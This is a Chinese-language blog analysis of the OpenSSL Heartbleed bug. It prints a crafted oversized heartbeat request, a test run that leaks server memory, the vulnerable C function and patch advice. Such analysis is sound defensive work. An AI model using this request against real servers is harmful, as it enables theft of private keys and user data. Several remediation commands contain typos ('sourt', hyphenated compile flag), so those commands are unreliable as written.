OpenSSL心血漏洞

     近日闹的沸沸扬扬的Heartbleed漏洞，仿佛一下子再次将人们拉回了对网络安全的关注和担忧。越来越发达的网络在为我们提供方便工作生活的同时，也越来越深入地参与进了我们的真实世界，越来越与我们的切身利益紧密相连。网络安全的核心价值在于信息的保全，主要威胁也是信息的泄露和滥用。今天我们来简单看一看这个引人关注的漏洞。
      OpenSSL官方给出的漏洞警告声明：

     Heartbleed其实是关于Heartbeat实现中的一个漏洞，这主要用于SSL的实现。由于Internet在建立之初没有更多地考虑安全性，因此目前的安全性措施更多地是对原有框架进行修补，比如IPSec，比如SSL，它们的主要目的都是为网络通信提供保密性和完整性、认证性服务。SSL是在传输层和应用层之间，主要用于基于公钥的身份认证和基于私钥的密文传输。其最广泛的就是Web应用，其次在IM、Email、在线支付等所有需要保密、完整、认证需求的领域均有应用，而OpenSSL则是SSL的一个免费开源的实现。接下来的分析主要基于自己在网络上搜集整理的信息。
    SSL的工作原理：

     

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测试验证
     到这里我们可以大致了解这个漏洞的作用过程了，那么接下来我们来实际测试一下，看看结果：
1. 构造恶意请求包：
HeartBeat Requst包
hb = h2bin(”’
18 03 02 00 03
01 20 00
”’)
     其中蓝色的01表示该包类型为Heartbeat_Request，后面的两个字节表示数据长度，换成十进制就是8192；
2. 服务端回应Heartbeat Request包：
[root@server]# python ssltest.py 127.0.0.1 -p 9876 > 1
Sending heartbeat request…
… received message: type = 24, ver = 0302, length = 8211
Received heartbeat response:
WARNING: server returned more data than it should – server is vulnerable!
Received heartbeat response:
0000: 02 20 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C . ….SC[...r...
0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H...9.......
0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3....f.....".
0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8.........5.
     这里的蓝色依旧是回应包的类型标志，后面两个字节是数据长度，绿色部分中就包含了泄露的内存数据。

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源码分析
    接下来我们来看看这个漏洞发生的源码，该漏洞主要存在于OpenSLL的源文件ssl/d1_both.c和t1_lib.c中的心跳处理函数dtls1_process_heartbeat和tls_process_heartbeat两个函数中，下面我们以dtls1_process_heart为例进行一下分析：

#ifndef OPENSSL_NO_HEARTBEATS
int
dtls1_process_heartbeat(SSL *s)
    {
    unsigned char *p = &s->s3->rrec.data[0], *pl;     //从收到的SSL的心跳请求包中提取数据部分
    unsigned short hbtype;
    unsigned int payload;
    unsigned int padding = 16; /* Use minimum padding */

    /* Read type and payload length first */
    hbtype = *p++;                                                  //读取数据部分头部的包类型和数据长度（payload）
    n2s(p, payload);
    pl = p;

    if (s->msg_callback)
        s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT,
            &s->s3->rrec.data[0], s->s3->rrec.length,
            s, s->msg_callback_arg);

    if (hbtype == TLS1_HB_REQUEST)
        {
        unsigned char *buffer, *bp;
        int r;

        /* Allocate memory for the response, size is 1 byte
         * message type, plus 2 bytes payload length, plus
         * payload, plus padding
         */
        buffer = OPENSSL_malloc(1 + 2 + payload + padding);                                    //按照请求包中的length字段值分配堆空间大小
        bp = buffer;

        /* Enter response type, length and copy payload */
        *bp++ = TLS1_HB_RESPONSE;
        s2n(payload, bp);
        memcpy(bp, pl, payload);                                                                               //将请求包的数据部分拷贝到分配的堆空间，但是注意：真实的数据部分是远远小于length长度的，因此使用memcpy函数会复制相邻空间的内粗你数据，最多64KB
        bp += payload;
        /* Random padding */
        RAND_pseudo_bytes(bp, padding);

        r = dtls1_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 3 + payload + padding);

        if (r >= 0 && s->msg_callback)
            s->msg_callback(1, s->version, TLS1_RT_HEARTBEAT,
                buffer, 3 + payload + padding,
                s, s->msg_callback_arg);

        OPENSSL_free(buffer);

        if (r < 0)
            return r;
        }
    else if (hbtype == TLS1_HB_RESPONSE)
        {
        unsigned int seq;

        /* We only send sequence numbers (2 bytes unsigned int),
         * and 16 random bytes, so we just try to read the
         * sequence number */
        n2s(pl, seq);

        if (payload == 18 && seq == s->tlsext_hb_seq)
            {
            dtls1_stop_timer(s);
            s->tlsext_hb_seq++;
            s->tlsext_hb_pending = 0;
            }
        }

    return 0;
    }

      这里的逻辑是这样的，请求包中的数据实际长度远远小于其标明的length长度，Server端根据其标明的length长度分配了堆，然后尝试将请求包中的数据都拷贝过来形成回应包，于是便从内存中的请求包数据处开始复制了length个长度的字节，已经远远超过了数据的实际长度，从而造成数据的泄露。通过这种方式，一般可以得到SSL使用的Server端的私钥，从而获得SSL会话密钥，以及用户的账号等信息。

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补救方案     
     问题的修补方案也不难，基本是两条思路：
1. Update：Heartbleed漏洞只影响特定版本的OpenSSL/TLS，因此只需要根据官方的通知进行更新即可；
2. Recomplie：重编译OpenSSL，加上不使用心跳功能的选项参数：-DOPENSSL-NO-HEARTBEATS；
     然后重启WEB服务即可：
# /etc/init.d/apache2 restart
# /etc/init.d/ngnix restart
# /etc/init.d/httpd restart
      还需要重启其他与OpenSSL相关的服务，可以通过lsof | grep libssl | awk '{print $1}' | sourt | uniq查看与OpenSSL相关的服务。